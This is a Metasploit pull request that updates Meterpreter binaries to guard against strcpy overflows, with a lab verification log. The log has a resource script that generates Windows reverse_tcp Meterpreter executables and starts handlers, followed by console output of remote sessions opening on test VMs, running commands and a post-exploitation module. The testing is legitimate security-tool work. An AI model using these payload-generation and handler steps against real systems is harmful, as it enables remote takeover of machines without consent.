rapid7/metasploit-framework — pull request #2575 by todb-r7 (2013-10-24 20:20:58+00:00)
Title: Meterpreter bins after Meterpreter PR 32

Protects against potential BOFs due to strcpy usage.

These binaries were built against meterpreter master after
https://github.com/rapid7/meterpreter/pull/32 landed.

The CI tests can be seen here:

https://ci.metasploit.com/view/Meterpreter/job/MeterpreterWin/75/

Note, this commit is signed. Your merge commit should be signed, too, so
people can be assured that nobody is backdooring Meterpreter on the sly.

## Verification

The following test shows that Meterpreter is still minimally functional; sessions are created, exercised, and shut down, and post modules still operate on the given sessions.

The targets were a 64-bit Windows and a 32-bit Windows. On the 64-bit Windows platform, both 32- and 64-bit Meterpreter binaries were used.

Here is the RC script. The rest was manual:

````
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4432
generate -t exe -f /tmp/meterpreter32.exe

use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4464
generate -t exe -f /tmp/meterpreter64.exe

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4432
set ExitOnSession false
exploit -j

set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4464
exploit -j
````

## Results:

````
=[ metasploit v4.8.0-dev [core:4.8 api:1.0]
+ -- --=[ 1219 exploits - 670 auxiliary - 195 post
+ -- --=[ 322 payloads - 30 encoders - 8 nops

[*] Processing /home/todb/rc/multi-meterp.rc for ERB directives.
resource (/home/todb/rc/multi-meterp.rc)> use payload/windows/meterpreter/reverse_tcp
resource (/home/todb/rc/multi-meterp.rc)> set LHOST 192.168.145.1
LHOST => 192.168.145.1
resource (/home/todb/rc/multi-meterp.rc)> set LPORT 4432
LPORT => 4432
resource (/home/todb/rc/multi-meterp.rc)> generate -t exe -f /tmp/meterpreter32.exe
[*] Writing 73802 bytes to /tmp/meterpreter32.exe...
resource (/home/todb/rc/multi-meterp.rc)> use payload/windows/x64/meterpreter/reverse_tcp
resource (/home/todb/rc/multi-meterp.rc)> set LHOST 192.168.145.1
LHOST => 192.168.145.1
resource (/home/todb/rc/multi-meterp.rc)> set LPORT 4464
LPORT => 4464
resource (/home/todb/rc/multi-meterp.rc)> generate -t exe -f /tmp/meterpreter64.exe
[*] Writing 6144 bytes to /tmp/meterpreter64.exe...
resource (/home/todb/rc/multi-meterp.rc)> use exploit/multi/handler
resource (/home/todb/rc/multi-meterp.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/home/todb/rc/multi-meterp.rc)> set LHOST 192.168.145.1
LHOST => 192.168.145.1
resource (/home/todb/rc/multi-meterp.rc)> set LPORT 4432
LPORT => 4432
resource (/home/todb/rc/multi-meterp.rc)> set ExitOnSession false
ExitOnSession => false
resource (/home/todb/rc/multi-meterp.rc)> exploit -j
[*] Exploit running as background job.
resource (/home/todb/rc/multi-meterp.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
resource (/home/todb/rc/multi-meterp.rc)> set LPORT 4464
[*] Started reverse handler on 192.168.145.1:4432
LPORT => 4464
resource (/home/todb/rc/multi-meterp.rc)> exploit -j
[*] Starting the payload handler...
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.145.1:4464
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.145.141
[*] Meterpreter session 1 opened (192.168.145.1:4432 -> 192.168.145.141:1033) at 2013-10-24 15:08:49 -0500
[*] Sending stage (970240 bytes) to 192.168.145.178
[*] Meterpreter session 2 opened (192.168.145.1:4464 -> 192.168.145.178:49161) at 2013-10-24 15:09:00 -0500
[*] Sending stage (770048 bytes) to 192.168.145.178
[*] Meterpreter session 3 opened (192.168.145.1:4432 -> 192.168.145.178:49162) at 2013-10-24 15:09:07 -0500

msf exploit(handler) > sessions -c calc.exe
[*] Running 'calc.exe' on meterpreter session 1 (192.168.145.141)
[*] Running 'calc.exe' on meterpreter session 2 (192.168.145.178)
[*] Running 'calc.exe' on meterpreter session 3 (192.168.145.178)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : TODB-56E0BDF3CC
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : WIN-5OCH6LK7RTG
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Meterpreter : x64/win64
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer : WIN-5OCH6LK7RTG
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > background
[*] Backgrounding session 3...
msf exploit(handler) > use post/windows/gather/checkvm
msf post(checkvm) > set SESSION 1
SESSION => 1
msf post(checkvm) > set VERBOSE true
VERBOSE => true
msf post(checkvm) > run

[*] Checking if TODB-56E0BDF3CC is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
msf post(checkvm) > set SESSION 2
SESSION => 2
msf post(checkvm) > run

[*] Checking if WIN-5OCH6LK7RTG is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
msf post(checkvm) > set SESSION 3
SESSION => 3
msf post(checkvm) > run

[*] Checking if WIN-5OCH6LK7RTG is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
msf post(checkvm) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.145.141 - Meterpreter session 1 closed. Reason: User exit
msf post(checkvm) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.145.178 - Meterpreter session 2 closed. Reason: User exit
msf post(checkvm) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.145.178 - Meterpreter session 3 closed. Reason: User exit
msf post(checkvm) > exit
````